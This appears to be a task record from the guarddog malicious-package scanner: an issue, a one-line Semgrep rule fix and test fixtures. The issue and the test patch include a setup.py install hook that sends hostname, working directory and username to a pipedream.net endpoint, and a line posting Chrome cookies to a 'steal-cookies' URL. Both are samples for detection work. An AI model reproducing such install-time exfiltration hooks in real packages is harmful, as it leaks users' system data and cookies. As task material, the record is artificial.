Repository: DataDog/guarddog (language: python)

Issue:
Identify Python scripts sending HTTP requests to common pentesting domains
pipedream.net, oastify.fun etc.

Example:

```
class CustomInstall(install):
    def run(self):
        install.run(self)
        hostname=socket.gethostname()
        cwd = os.getcwd()
        username = getpass.getuser()
        ploads = {'hostname':hostname,'cwd':cwd,'username':username}
        requests.get("https://eo6ksiuyau5e5x2.m.pipedream.net",params = ploads) #replace burpcollaborator.net with Interactsh or pipedream


setup(name='dependency1338', #package name
      version='1.0.0',
      description='test',
      author='test',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

```


Discussion / hints:

Fix patch:
diff --git a/guarddog/analyzer/sourcecode/exfiltrate-sensitive-data.yml b/guarddog/analyzer/sourcecode/exfiltrate-sensitive-data.yml
index c0340dec..81887d68 100644
--- a/guarddog/analyzer/sourcecode/exfiltrate-sensitive-data.yml
+++ b/guarddog/analyzer/sourcecode/exfiltrate-sensitive-data.yml
@@ -11,6 +11,7 @@ rules:
       - pattern: getpass.getuser()
       - pattern: platform.node()
       - pattern: browser_cookie3.$BROWSER(...)
+      - pattern: os.getcwd()
       - patterns:
           - pattern-either:
               - pattern: open($FILE)


Test patch:
diff --git a/tests/analyzer/sourcecode/cmd-overwrite.py b/tests/analyzer/sourcecode/cmd-overwrite.py
index 30fde0fc..c3cfe8bd 100644
--- a/tests/analyzer/sourcecode/cmd-overwrite.py
+++ b/tests/analyzer/sourcecode/cmd-overwrite.py
@@ -154,3 +154,12 @@
         "Topic :: Software Development :: Libraries",
     ),
 )
+
+# ruleid: cmd-overwrite
+setup(name='dependency1338', #package name
+      version='1.0.0',
+      description='test',
+      author='test',
+      license='MIT',
+      zip_safe=False,
+      cmdclass={'install': CustomInstall})
diff --git a/tests/analyzer/sourcecode/exfiltrate-sensitive-data.py b/tests/analyzer/sourcecode/exfiltrate-sensitive-data.py
index 0e8b22b7..80021ad8 100644
--- a/tests/analyzer/sourcecode/exfiltrate-sensitive-data.py
+++ b/tests/analyzer/sourcecode/exfiltrate-sensitive-data.py
@@ -212,4 +212,17 @@ def sendRequest(self):
 # Simple cookie exfiltration
 cookies = browser_cookie3.chrome(domain_name="google.com")
 # ruleid: exfiltrate-sensitive-data
-requests.post("https://1.1.1.1/steal-cookies", data=json.dumps(cookies))
\ No newline at end of file
+requests.post("https://1.1.1.1/steal-cookies", data=json.dumps(cookies))
+
+""" RULEID: HTTP requests sent to pentest domains
+"""
+
+class CustomInstall(install):
+    def run(self):
+        install.run(self)
+        hostname=socket.gethostname()
+        cwd = os.getcwd()
+        username = getpass.getuser()
+        ploads = {'hostname':hostname,'cwd':cwd,'username':username}
+        # ruleid: exfiltrate-sensitive-data
+        requests.get("https://eo6ksiuyau5e5x2.m.pipedream.net",params = ploads)